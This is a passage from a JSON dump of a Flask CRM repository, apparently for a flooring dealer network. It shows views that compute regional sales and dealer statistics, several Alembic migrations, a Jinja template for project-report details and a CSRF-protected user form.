delete_file(qrcode_image_path)\n flash('二维码删除成功', 'success')\n else:\n flash('操作失败', 'danger')\n return redirect(url_for('order_manage.tracking_info_edit', id=id))\n\"\"\"\n\n\n# download qrcode image\n@order_manage.route('/tracking_info/<int:id>/qrcode')\ndef tracking_info_qrcode(id):\n tracking_info = TrackingInfo.query.get_or_404(id)\n response = make_response(send_file(app.config['STATIC_DIR'] + '/upload/qrcode/' + tracking_info.qrcode_image))\n response.headers['Content-Disposition'] = 'attachment; filename = %s' % tracking_info.qrcode_image\n return response\n\n\n@order_manage.route('/region_profit')\ndef region_profit():\n provinces = []\n total_amount = []\n current_amount = []\n for area in SalesAreaHierarchy.query.filter_by(level_grade=3):\n\n user_ids = [user.id for user in db.session.query(User).join(User.sales_areas).filter(\n User.user_or_origin == 2).filter(\n SalesAreaHierarchy.level_grade == 4).filter(\n SalesAreaHierarchy.id.in_([area.id for area in SalesAreaHierarchy.query.filter(\n SalesAreaHierarchy.parent_id == area.id)])).all()]\n contracts = Contract.query.filter_by(payment_status='已付款').filter(Contract.user_id.in_(user_ids)).all()\n amount = reduce(lambda x, y: x + y, [float(contract.contract_content.get('amount', '0'))\n for contract in contracts], 0)\n contract1s = Contract.query.filter_by(payment_status='已付款').filter(Contract.user_id.in_(user_ids)).filter(\n Contract.created_at.between(datetime.datetime.utcnow() - datetime.timedelta(days=30),\n datetime.datetime.utcnow())).all()\n amount1 = reduce(lambda x, y: x + y, [float(contract.contract_content.get('amount', '0'))\n for contract in contract1s], 0)\n provinces.append(str(area.name))\n total_amount.append(amount)\n current_amount.append(amount1)\n\n return render_template('order_manage/region_profit.html', provinces=provinces, total_amount=total_amount,\n current_amount=current_amount)\n\n\n@order_manage.route('/team_profit')\ndef team_profit():\n teams = []\n total_amount = []\n for region in SalesAreaHierarchy.query.filter_by(level_grade=2):\n us = db.session.query(User).join(User.departments).join(User.sales_areas).filter(\n User.user_or_origin == 3).filter(\n DepartmentHierarchy.name == \"销售部\").filter(\n SalesAreaHierarchy.id == region.id).first()\n if us is not None:\n teams.append(us.nickname)\n user_ids = [user.id for user in db.session.query(User).join(User.sales_areas).filter(\n User.user_or_origin == 2).filter(SalesAreaHierarchy.level_grade == 4).filter(\n SalesAreaHierarchy.id.in_([area.id for area in SalesAreaHierarchy.query.filter(\n SalesAreaHierarchy.parent_id.in_([area.id for area in SalesAreaHierarchy.query.filter(\n SalesAreaHierarchy.parent_id == region.id)]))]))]\n contracts = Contract.query.filter_by(payment_status='已付款').filter(Contract.user_id.in_(user_ids)).all()\n amount = reduce(lambda x, y: x + y, [float(contract.contract_content.get('amount', '0'))\n for contract in contracts], 0)\n\n total_amount.append(amount)\n return render_template('order_manage/team_profit.html', teams=teams, total_amount=total_amount)\n\n\n@order_manage.route('/dealer_index')\ndef dealer_index():\n area = SalesAreaHierarchy.query.filter_by(name=request.args.get('province'), level_grade=3).first()\n datas = []\n if area is not None:\n for user in db.session.query(User).join(User.sales_areas).filter(User.user_or_origin == 2).filter(\n SalesAreaHierarchy.level_grade == 4).filter(\n SalesAreaHierarchy.id.in_([area.id for area in SalesAreaHierarchy.query.filter(\n SalesAreaHierarchy.parent_id == area.id)])).all():\n contracts = Contract.query.filter_by(user_id=user.id, payment_status='已付款').all()\n amount = reduce(lambda x, y: x + y, [float(contract.contract_content.get('amount', '0'))\n for contract in contracts], 0)\n datas.append([user.nickname, amount])\n current_app.logger.info(datas)\n return render_template('order_manage/dealer_index.html', datas=datas)\n\n\n@order_manage.route('/region_dealers')\ndef region_dealers():\n percentage = []\n regions = []\n datas = []\n day_datas = []\n months = [add_months(datetime.datetime.utcnow(), -4).strftime(\"%Y年%m月\"),\n add_months(datetime.datetime.utcnow(), -3).strftime(\"%Y年%m月\"),\n add_months(datetime.datetime.utcnow(), -2).strftime(\"%Y年%m月\"),\n add_months(datetime.datetime.utcnow(), -1).strftime(\"%Y年%m月\"),\n add_months(datetime.datetime.utcnow(), 0).strftime(\"%Y年%m月\")]\n days = [\n (datetime.datetime.utcnow() + datetime.timedelta(days=-4)).strftime(\"%m月%d日\"),\n (datetime.datetime.utcnow() + datetime.timedelta(days=-3)).strftime(\"%m月%d日\"),\n (datetime.datetime.utcnow() + datetime.timedelta(days=-2)).strftime(\"%m月%d日\"),\n (datetime.datetime.utcnow() + datetime.timedelta(days=-1)).strftime(\"%m月%d日\"),\n (datetime.datetime.utcnow() + datetime.timedelta(days=0)).strftime(\"%m月%d日\")\n ]\n for region in SalesAreaHierarchy.query.filter_by(level_grade=2):\n count = db.session.query(User).join(User.sales_areas).filter(User.user_or_origin == 2).filter(User.extra_attributes.like('1%')).filter(\n SalesAreaHierarchy.level_grade == 4).filter(\n SalesAreaHierarchy.id.in_([area.id for area in SalesAreaHierarchy.query.filter(\n SalesAreaHierarchy.parent_id.in_([area.id for area in SalesAreaHierarchy.query.filter(\n SalesAreaHierarchy.parent_id == region.id)]))])).count()\n month1 = db.session.query(User).join(User.sales_areas).filter(User.user_or_origin == 2).filter(User.extra_attributes.like('1%')).filter(\n SalesAreaHierarchy.level_grade == 4).filter(\n SalesAreaHierarchy.id.in_([area.id for area in SalesAreaHierarchy.query.filter(\n SalesAreaHierarchy.parent_id.in_([area.id for area in SalesAreaHierarchy.query.filter(\n SalesAreaHierarchy.parent_id == region.id)]))])).filter(\n User.created_at.between(\"2017-01-01\", add_months(datetime.datetime.utcnow(), -4))).count()\n day1 = db.session.query(User).join(User.sales_areas).filter(User.user_or_origin == 2).filter(User.extra_attributes.like('1%')).filter(\n SalesAreaHierarchy.level_grade == 4).filter(\n SalesAreaHierarchy.id.in_([area.id for area in SalesAreaHierarchy.query.filter(\n SalesAreaHierarchy.parent_id.in_([area.id for area in SalesAreaHierarchy.query.filter(\n SalesAreaHierarchy.parent_id == region.id)]))])).filter(\n User.created_at.between(\"2017-01-01\", datetime.datetime.utcnow() + datetime.timedelta(days=-4))).count()\n day2 = db.session.query(User).join(User.sales_areas).filter(User.user_or_origin == 2).filter(User.extra_attributes.like('1%')).filter(\n SalesAreaHierarchy.level_grade == 4).filter(\n SalesAreaHierarchy.id.in_([area.id for area in SalesAreaHierarchy.query.filter(\n SalesAreaHierarchy.parent_id.in_([area.id for area in SalesAreaHierarchy.query.filter(\n SalesAreaHierarchy.parent_id == region.id)]))])).filter(\n User.created_at.between(\"2017-01-01\", datetime.datetime.utcnow() + datetime.timedelta(days=-3))).count()\n day3 = db.session.query(User).join(User.sales_areas).filter(User.user_or_origin == 2).filter(User.extra_attributes.like('1%')).filter(\n SalesAreaHierarchy.level_grade == 4).filter(\n SalesAreaHierarchy.id.in_([area.id for area in SalesAreaHierarchy.query.filter(\n SalesAreaHierarchy.parent_id.in_([area.id for area in SalesAreaHierarchy.query.filter(\n SalesAreaHierarchy.parent_id == region.id)]))])).filter(\n User.created_at.between(\"2017-01-01\", datetime.datetime.utcnow() + datetime.timedelta(days=-2))).count()\n day4 = db.session.query(User).join(User.sales_areas).filter(User.user_or_origin == 2).filter(User.extra_attributes.like('1%')).filter(\n SalesAreaHierarchy.level_grade == 4).filter(\n SalesAreaHierarchy.id.in_([area.id for area in SalesAreaHierarchy.query.filter(\n SalesAreaHierarchy.parent_id.in_([area.id for area in SalesAreaHierarchy.query.filter(\n SalesAreaHierarchy.parent_id == region.id)]))])).filter(\n User.created_at.between(\"2017-01-01\", datetime.datetime.utcnow() + datetime.timedelta(days=-1))).count()\n day5 = db.session.query(User).join(User.sales_areas).filter(User.user_or_origin == 2).filter(User.extra_attributes.like('1%')).filter(\n SalesAreaHierarchy.level_grade == 4).filter(\n SalesAreaHierarchy.id.in_([area.id for area in SalesAreaHierarchy.query.filter(\n SalesAreaHierarchy.parent_id.in_([area.id for area in SalesAreaHierarchy.query.filter(\n SalesAreaHierarchy.parent_id == region.id)]))])).filter(\n User.created_at.between(\"2017-01-01\", datetime.datetime.utcnow() + datetime.timedelta(days=1))).count()\n month2 = db.session.query(User).join(User.sales_areas).filter(User.user_or_origin == 2).filter(User.extra_attributes.like('1%')).filter(\n SalesAreaHierarchy.level_grade == 4).filter(\n SalesAreaHierarchy.id.in_([area.id for area in SalesAreaHierarchy.query.filter(\n SalesAreaHierarchy.parent_id.in_([area.id for area in SalesAreaHierarchy.query.filter(\n SalesAreaHierarchy.parent_id == region.id)]))])).filter(\n User.created_at.between(\"2017-01-01\", add_months(datetime.datetime.utcnow(), -3))).count()\n month3 = db.session.query(User).join(User.sales_areas).filter(User.user_or_origin == 2).filter(User.extra_attributes.like('1%')).filter(\n SalesAreaHierarchy.level_grade == 4).filter(\n SalesAreaHierarchy.id.in_([area.id for area in SalesAreaHierarchy.query.filter(\n SalesAreaHierarchy.parent_id.in_([area.id for area in SalesAreaHierarchy.query.filter(\n SalesAreaHierarchy.parent_id == region.id)]))])).filter(\n User.created_at.between(\"2017-01-01\", add_months(datetime.datetime.utcnow(), -2))).count()\n month4 = db.session.query(User).join(User.sales_areas).filter(User.user_or_origin == 2).filter(User.extra_attributes.like('1%')).filter(\n SalesAreaHierarchy.level_grade == 4).filter(\n SalesAreaHierarchy.id.in_([area.id for area in SalesAreaHierarchy.query.filter(\n SalesAreaHierarchy.parent_id.in_([area.id for area in SalesAreaHierarchy.query.filter(\n SalesAreaHierarchy.parent_id == region.id)]))])).filter(\n User.created_at.between(\"2017-01-01\", add_months(datetime.datetime.utcnow(), -1))).count()\n month5 = db.session.query(User).join(User.sales_areas).filter(User.user_or_origin == 2).filter(User.extra_attributes.like('1%')).filter(\n SalesAreaHierarchy.level_grade == 4).filter(\n SalesAreaHierarchy.id.in_([area.id for area in SalesAreaHierarchy.query.filter(\n SalesAreaHierarchy.parent_id.in_([area.id for area in SalesAreaHierarchy.query.filter(\n SalesAreaHierarchy.parent_id == region.id)]))])).filter(\n User.created_at.between(\"2017-01-01\", datetime.datetime.utcnow() + datetime.timedelta(days=1))).count()\n regions.append(region.name)\n\n datas.append(\n {\n 'name': region.name,\n 'type': 'line',\n 'data': [month1, month2, month3, month4, month5],\n 'symbolSize': 5,\n 'label': {\n 'normal': {\n 'show': 'false'\n }\n },\n 'smooth': 'false'\n }\n )\n day_datas.append(\n {\n 'name': region.name,\n 'type': 'line',\n 'data': [day1, day2, day3, day4, day5],\n 'symbolSize': 5,\n 'label': {\n 'normal': {\n 'show': 'false'\n }\n },\n 'smooth': 'false'\n }\n )\n percentage.append({'value': count, 'name': region.name})\n return render_template('order_manage/region_dealers.html', percentage=percentage,\n regions=regions, datas=datas, months=months, days=days, day_datas=day_datas)\n\n\n@order_manage.route('/dealers_management/')\ndef dealers_management():\n form = UserSearchForm(request.args)\n form.reset_select_field()\n query = User.query.filter(User.user_or_origin == 2)\n if form.email.data:\n query = query.filter(User.email.contains(form.email.data))\n if form.nickname.data:\n query = query.filter(User.nickname.contains(form.nickname.data))\n if form.name.data:\n query = query.join(User.user_infos).filter(UserInfo.name.contains(form.name.data))\n if form.telephone.data:\n query = query.join(User.user_infos).filter(UserInfo.telephone.contains(form.telephone.data))\n if form.sale_range.data:\n query = query.join(User.sales_areas).filter(SalesAreaHierarchy.id == form.sale_range.data.id)\n users = query.order_by(User.created_at.desc())\n return object_list('order_manage/dealers_management.html', users, paginate_by=20, form=form)\n" }, { "alpha_fraction": 0.6257225275039673, "alphanum_fraction": 0.689306378364563, "avg_line_length": 23.714284896850586, "blob_id": "debba6f41bb7dbad5b7c43fd81201c88d96a4bf1", "content_id": "a3b9fb9745920957171018fda92a4a31a47f25ab", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 692, "license_type": "no_license", "max_line_length": 94, "num_lines": 28, "path": "/migrations/versions/f5ff15a65fd0_add_status_to_project_report.py", "repo_name": "ubqai/seesun_crm_services", "src_encoding": "UTF-8", "text": "\"\"\"add status to project report\n\nRevision ID: f5ff15a65fd0\nRevises: 8a95ceb72160\nCreate Date: 2017-03-06 08:49:52.848479\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = 'f5ff15a65fd0'\ndown_revision = '8a95ceb72160'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('project_reports', sa.Column('status', sa.String(length=50), nullable=True))\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_column('project_reports', 'status')\n # ### end Alembic commands ###\n" }, { "alpha_fraction": 0.6452304124832153, "alphanum_fraction": 0.6698821187019348, "avg_line_length": 28.15625, "blob_id": "f06c2ef5bd11ccc151ff11949a6ce5da08cebacd", "content_id": "8c50feb917e3965afc033001875d26fe29689169", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 933, "license_type": "no_license", "max_line_length": 92, "num_lines": 32, "path": "/migrations/versions/bcbb13072ffa_add_price_info_to_order_content.py", "repo_name": "ubqai/seesun_crm_services", "src_encoding": "UTF-8", "text": "\"\"\"add price info to order content\n\nRevision ID: bcbb13072ffa\nRevises: 0dcc2e844976\nCreate Date: 2017-02-23 03:57:32.016026\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = 'bcbb13072ffa'\ndown_revision = '0dcc2e844976'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('order_contents', sa.Column('amount', sa.Float(), nullable=True))\n op.add_column('order_contents', sa.Column('memo', sa.String(length=100), nullable=True))\n op.add_column('order_contents', sa.Column('price', sa.Float(), nullable=True))\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_column('order_contents', 'price')\n op.drop_column('order_contents', 'memo')\n op.drop_column('order_contents', 'amount')\n # ### end Alembic commands ###\n" }, { "alpha_fraction": 0.5353688597679138, "alphanum_fraction": 0.5384083986282349, "avg_line_length": 39.21111297607422, "blob_id": "db94478f6f74d84dc33063908d6702e3319b5e26", "content_id": "d25eef4ae4328417d2e1f29115b7f38f44b5c7a0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "HTML", "length_bytes": 7580, "license_type": "no_license", "max_line_length": 235, "num_lines": 180, "path": "/application/templates/project_report/show.html", "repo_name": "ubqai/seesun_crm_services", "src_encoding": "UTF-8", "text": "{% extends 'pc_base.html' %}\n{% from 'macros/pc_partial.html' import sidebar with context %}\n{% block main_content %}\n\n{{ sidebar(active = 'sale', work_stream = 'true') }}\n<div class=\"contents\">\n <div class=\"contents-header\">\n <div class=\"contents-header-img\"><img class=\"full-img\" src=\"/static/images/product.png\" /></div>\n <p class=\"contents-header-p\">项目报备详情</p>\n <p class=\"contents-header-p text-sm\">details of orders</p>\n <a class=\"new-one\" href=\"{{ url_for('project_report.show', id=project_report.id) }}\"><span class=\"glyphicon glyphicon-envelope\"></span></a>\n </div>\n <div class=\"separator\"><span></span></div>\n\n\n <div class=\"widget\">\n <div class=\"widget_header\">\n <h4 class=\"widget_header_title\"><span class=\"glyphicon glyphicon-th-large\"></span>&nbsp;&nbsp;&nbsp;项目报备详情</h4>\n </div>\n <div class=\"widget_contents padding-0 bot-gap-3\">\n <div class=\"form-item inline-2\">\n <span class=\"form-label\">报备编号</span>\n <input class=\"form-input form-control\" value=\"{{ project_report.report_no }}\" disabled/>\n <span class=\"form-label\">创建日期</span>\n <input class=\"form-input form-control\" value=\"{{ project_report.created_at.strftime('%Y-%m-%d') }}\" disabled/>\n <span class=\"form-label\">状态</span>\n <input class=\"form-input form-control\" value=\"{{ project_report.status }}\" disabled/>\n </div>\n </div>\n\t\t\t\t<div class=\"widget_header\">\n <h4 class=\"widget_header_title\"><span class=\"glyphicon glyphicon-th-large\"></span>&nbsp;&nbsp;&nbsp;详情列表</h4>\n </div>\n\t\t\t\t\n\t\t\t\t\n <div class=\"widget_contents padding-0 bot-gap-3\">\n\t\t\t\t\t\t<div class=\"title-style\">\n\t\t\t\t\t\t\t<span>项目基础信息</span>\n\t\t\t\t\t\t\t<i class=\"pull-right\tglyphicon glyphicon-list-alt\"></i>\n\t\t\t\t\t\t</div>\n <div class=\"form-item\">\n\t\t\t\t\t\t\t\t<div class=\"sub-form-item\">\n\t\t\t\t\t\t\t\t\t<span>申请公司名称:</span>\n\t\t\t\t\t\t\t\t\t<span>{{ project_report.report_content.get('app_company') }}</span>\n\t\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t\t<div class=\"sub-form-item\">\n\t\t\t\t\t\t\t\t\t<span>项目跟进人:</span>\n\t\t\t\t\t\t\t\t\t<span>{{ project_report.report_content.get('project_follower') }}</span>\n\t\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t\t<div class=\"sub-form-item\">\n\t\t\t\t\t\t\t\t\t<span>联系电话:</span>\n\t\t\t\t\t\t\t\t\t<span>{{ project_report.report_content.get('contract_phone') }}</span>\n\t\t\t\t\t\t\t\t</div>\n </div>\n\t\t\t\t\t\t<div class=\"form-item\">\n\t\t\t\t\t\t\t\t<div class=\"sub-form-item\">\n\t\t\t\t\t\t\t\t\t<span>联系传真:</span>\n\t\t\t\t\t\t\t\t\t<span>{{ project_report.report_content.get('contract_fax') }}</span>\n\t\t\t\t\t\t\t\t</div>\n </div>\n\t\t\t\t\t\t<div class=\"title-style\">\n\t\t\t\t\t\t\t<span>项目详细信息</span>\n\t\t\t\t\t\t\t<i class=\"pull-right\tglyphicon glyphicon-list-alt\"></i>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t\t<div class=\"form-item\">\n\t\t\t\t\t\t\t\t<div class=\"sub-form-item\">\n\t\t\t\t\t\t\t\t\t<span>项目名称:</span>\n\t\t\t\t\t\t\t\t\t<span>{{ project_report.report_content.get('project_name') }}</span>\n\t\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t\t<div class=\"sub-form-item\">\n\t\t\t\t\t\t\t\t\t<span>项目报备日期:</span>\n\t\t\t\t\t\t\t\t\t<span>{{ project_report.report_content.get('report_date') }}</span>\n\t\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t\t<div class=\"sub-form-item\">\n\t\t\t\t\t\t\t\t\t<span>预计订购产品时间:</span>\n\t\t\t\t\t\t\t\t\t<span>{{ project_report.report_content.get('expected_order_time') }}</span>\n\t\t\t\t\t\t\t\t</div>\n </div>\n\t\t\t\t\t\t<div class=\"form-item\">\n\t\t\t\t\t\t\t\t<div class=\"sub-form-item\">\n\t\t\t\t\t\t\t\t\t<span>项目地址:</span>\n\t\t\t\t\t\t\t\t\t<span>{{ project_report.report_content.get('project_address') }}</span>\n\t\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t\t<div class=\"sub-form-item\">\n\t\t\t\t\t\t\t\t\t<span>项目面积:</span>\n\t\t\t\t\t\t\t\t\t<span>{{ project_report.report_content.get('project_area') }}</span>\n\t\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t\t<div class=\"sub-form-item\">\n\t\t\t\t\t\t\t\t\t<span>产品使用场所:</span>\n\t\t\t\t\t\t\t\t\t<span>{{ project_report.report_content.get('product_place') }}</span>\n\t\t\t\t\t\t\t\t</div>\n </div>\n\t\t\t\t\t\t<div class=\"form-item\">\n\t\t\t\t\t\t\t\t<div class=\"sub-form-item\">\n\t\t\t\t\t\t\t\t\t<span>推荐产品系列:</span>\n\t\t\t\t\t\t\t\t\t<span>{{ project_report.report_content.get('recommended_product_line') }}</span>\n\t\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t\t<div class=\"sub-form-item\">\n\t\t\t\t\t\t\t\t\t<span>推荐产品颜色:</span>\n\t\t\t\t\t\t\t\t\t<span>{{ project_report.report_content.get('recommended_product_color') }}</span>\n\t\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t\t<div class=\"sub-form-item\">\n\t\t\t\t\t\t\t\t\t<span>项目完工时间:</span>\n\t\t\t\t\t\t\t\t\t<span>{{ project_report.report_content.get('project_completion_time') }}</span>\n\t\t\t\t\t\t\t\t</div>\n </div>\n\t\t\t\t\t\t<div class=\"title-style\">\n\t\t\t\t\t\t\t<span>其他信息</span>\n\t\t\t\t\t\t\t<i class=\"pull-right\tglyphicon glyphicon-list-alt\"></i>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t\t<div class=\"form-item\">\n\t\t\t\t\t\t\t\t<div class=\"sub-form-item\">\n\t\t\t\t\t\t\t\t\t<span>竞争品牌情况:</span>\n\t\t\t\t\t\t\t\t\t<span>{{ project_report.report_content.get('competitive_brand_situation') }}</span>\n\t\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t\t<div class=\"sub-form-item\">\n\t\t\t\t\t\t\t\t\t<span>项目业主:</span>\n\t\t\t\t\t\t\t\t\t<span>{{ project_report.report_content.get('project_owner') }}</span>\n\t\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t\t<div class=\"sub-form-item\">\n\t\t\t\t\t\t\t\t\t<span>项目装饰总包:</span>\n\t\t\t\t\t\t\t\t\t<span>{{ project_report.report_content.get('project_decoration_total') }}</span>\n\t\t\t\t\t\t\t\t</div>\n </div>\n\t\t\t\t\t\t<div class=\"form-item\">\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t<div class=\"sub-form-item\">\n\t\t\t\t\t\t\t\t\t<span>项目设计公司:</span>\n\t\t\t\t\t\t\t\t\t<span>{{ project_report.report_content.get('project_design_company') }}</span>\n\t\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t\t<div class=\"sub-form-item\">\n\t\t\t\t\t\t\t\t\t<span>是否需要授权书:</span>\n\t\t\t\t\t\t\t\t\t<span>{{ project_report.report_content.get('is_authorization_needed') }}</span>\n\t\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t\t<div class=\"sub-form-item\">\n\t\t\t\t\t\t\t\t\t<span>授权预计开具日期:</span>\n\t\t\t\t\t\t\t\t\t<span>{{ project_report.report_content.get('expected_authorization_date') }}</span>\n\t\t\t\t\t\t\t\t</div>\n </div>\n\t\t\t\t\t\t<div class=\"form-item\">\n\n\t\t\t\t\t\t\t\t<div class=\"sub-form-item\">\n\t\t\t\t\t\t\t\t\t<span>需授权公司名称:</span>\n\t\t\t\t\t\t\t\t\t<span>{{ project_report.report_content.get('authorize_company_name') }}</span>\n\t\t\t\t\t\t\t\t</div>\n\n </div>\n\t\t\t\t\t\t<div class=\"form-item\">\n\t\t\t\t\t\t\t\t{% for file in project_report.pic_files %}\n\t\t\t\t\t\t\t\t<div class=\"col-3 thumbnail thum-img\" style=\"width: 30% !important; margin-left: 1.5%; margin-right: 1.5%; float: left !important;\" data-toggle=\"modal\" data-target='#{{ file|replace(\" \",\"\")|replace(\".\",\"\")|replace(\"/\",\"\") }}'>\n\t\t\t\t\t\t\t\t\t\t<img src=\"{{ file }}\" class=\"full-img\" >\n\t\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t\t<div class=\"modal fade\" id='{{ file|replace(\" \",\"\")|replace(\".\",\"\")|replace(\"/\",\"\") }}' tabindex=\"-1\" role=\"dialog\" aria-labelledby=\"myModalLabel\" aria-hidden=\"true\">\n\t\t\t\t\t\t\t\t\t<div class=\"modal-dialog\" style=\"width:500px\">\n\t\t\t\t\t\t\t\t\t\t<div class=\"modal-content\">\n\t\t\t\t\t\t\t\t\t\t\t<div class=\"modal-body\">\n\t\t\t\t\t\t\t\t\t\t\t\t<img src=\"{{ file }}\" class=\"full-img\">\n\t\t\t\t\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t\t</div>\n\n\t\t\t\t\t\t\t\t{% endfor %}\n\n </div>\n\n </div>\n\t\t\t\t\n\t\t\t\t\n {% if project_report.status==\"新创建待审核\" %}\n {% if project_report.sale_director_id == current_user.id %}\n <div class=\"text-right top-gap-3\">\n <a class=\"btn btn-default my-btn right-gap-2\" href=\"{{ url_for('project_report.audit', id=project_report.id) }}\">填写审核信息</a>\n <a class=\"btn btn-default my-btn\" href=\"{{ url_for('project_report.cancel', id=project_report.id) }}\">取消申请</a>\n </div>\n {% endif %}\n {% endif %}\n </div>\n</div>\n\n{% endblock %}\n" }, { "alpha_fraction": 0.6309695839881897, "alphanum_fraction": 0.6816208362579346, "avg_line_length": 23.678571701049805, "blob_id": "99888854b0447d032b1759c4b1a4fe2825bae288", "content_id": "1a6e483087de03f7dd1a8e2d37e8ed5ca1788c1e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 691, "license_type": "no_license", "max_line_length": 99, "num_lines": 28, "path": "/migrations/versions/59eeab2bbaaf_add_appid_to_wechat_access_token.py", "repo_name": "ubqai/seesun_crm_services", "src_encoding": "UTF-8", "text": "\"\"\"add_appid_to_wechat_access_token\n\nRevision ID: 59eeab2bbaaf\nRevises: d80a29ceb22a\nCreate Date: 2017-03-03 09:31:18.365338\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '59eeab2bbaaf'\ndown_revision = 'd80a29ceb22a'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('wechat_access_token', sa.Column('appid', sa.String(length=100), nullable=False))\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_column('wechat_access_token', 'appid')\n # ### end Alembic commands ###\n" }, { "alpha_fraction": 0.6579476594924927, "alphanum_fraction": 0.6874580979347229, "avg_line_length": 44.181819915771484, "blob_id": "99af979972bcfacea9a0b3cbc93516644947409b", "content_id": "17d4909207327668acb9a27dcb00882c0d0fd1d6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1695, "license_type": "no_license", "max_line_length": 124, "num_lines": 33, "path": "/application/forms.py", "repo_name": "ubqai/seesun_crm_services", "src_encoding": "UTF-8", "text": "from wtforms import Form, StringField, TextAreaField, PasswordField, validators\nfrom wtforms.csrf.session import SessionCSRF\nfrom datetime import timedelta\nfrom . import app\n\n\n# BASE CSRF FORM\nclass BaseCsrfForm(Form):\n class Meta:\n csrf = True\n csrf_class = SessionCSRF\n csrf_secret = bytes(app.config['SECRET_KEY'], 'ascii')\n csrf_time_limit = timedelta(minutes=20)\n\n\nclass UserInfoForm(BaseCsrfForm):\n email = StringField('email', [validators.Email(message=\"请填写正确格式的email\")])\n name = StringField('name', [validators.Length(min=2, max=30, message=\"字段长度必须大等于2小等于30\")])\n nickname = StringField('nickname', [validators.Length(min=2, max=30, message=\"字段长度必须大等于2小等于30\")])\n password = PasswordField('password', validators=[\n validators.Required(message=\"字段不可为空\"),\n validators.Length(min=8, max=20, message=\"字段长度必须大等于8小等于20\"),\n validators.EqualTo('password_confirm', message=\"两次输入密码不匹配\")\n ])\n password_confirm = PasswordField('re_password')\n address = TextAreaField('address', [validators.Length(min=5, max=300, message=\"字段长度必须大等于5小等于300\")])\n # 电话匹配规则 11位手机 or 3-4区号(可选)+7-8位固话+1-6分机号(可选)\n phone = StringField('phone', [validators.Regexp(r'(^\\d{11})$|(^(\\d{3,4}-)?\\d{7,8}(-\\d{1,5})?$)', message=\"请输入正确格式的电话\")])\n title = StringField('title')\n user_type = StringField('user_type')\n dept_ranges = StringField('dept_ranges')\n sale_range = StringField('sale_range')\n join_dealer = StringField('join_dealer')\n" }, { "alpha_fraction": 0.6943641901016235, "alphanum_fraction": 0.7218208312988281, "avg_line_length": 39.70588302612305, "blob_id": "2056894830b3bcc20f47350b3ab1e72bd009cce3", "content_id": "09c01f4fb2a6d32d76a11354fb9da83d7d10da68", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1384, "license_type": "no_license", "max_line_length": 143, "num_lines": 34, "path": "/migrations/versions/cfd51dd8aaa0_add_available_number_to_material_.py", "repo_name": "ubqai/seesun_crm_services", "src_encoding": "UTF-8", "text": "\"\"\"add available number to material application\n\nRevision ID: cfd51dd8aaa0\nRevises: 9fea66319b4a\nCreate Date: 2017-03-16 17:42:49.960680\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = 'cfd51dd8aaa0'\ndown_revision = 'dc4da3e2992c'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('material_application_content', sa.Column('available_number', sa.Integer(), nullable=True))\n op.add_column('material_application_content', sa.Column('material_name', sa.String(length=100), nullable=True))\n op.drop_constraint('material_application_content_material_id_fkey', 'material_application_content', type_='foreignkey')\n op.drop_column('material_application_content', 'material_id')\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('material_application_content', sa.Column('material_id', sa.INTEGER(), autoincrement=False, nullable=True))\n op.create_foreign_key('material_application_content_material_id_fkey', 'material_application_content', 'material', ['material_id'], ['id'])\n op.drop_column('material_application_content', 'material_name')\n op.drop_column('material_application_content', 'available_number')\n # ### end Alembic commands ###\n" }, { "alpha_fraction": 0.5743982791900635, "alphanum_fraction": 0.5761812329292297, "avg_line_length": 42.911033630371094, "blob_id": "86ba50707f09acdc4f3a37b14269e960a501fa62", "content_id": "a30af7c10bc28a47376ececd686cdd50586a5a8e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 25326, "license_type": "no_license", "max_line_length": 119, "num_lines": 562, "path": "/application/organization/views.py", "repo_name": "ubqai/seesun_crm_services", "src_encoding": "UTF-8", "text": "from flask import Blueprint, flash, redirect, 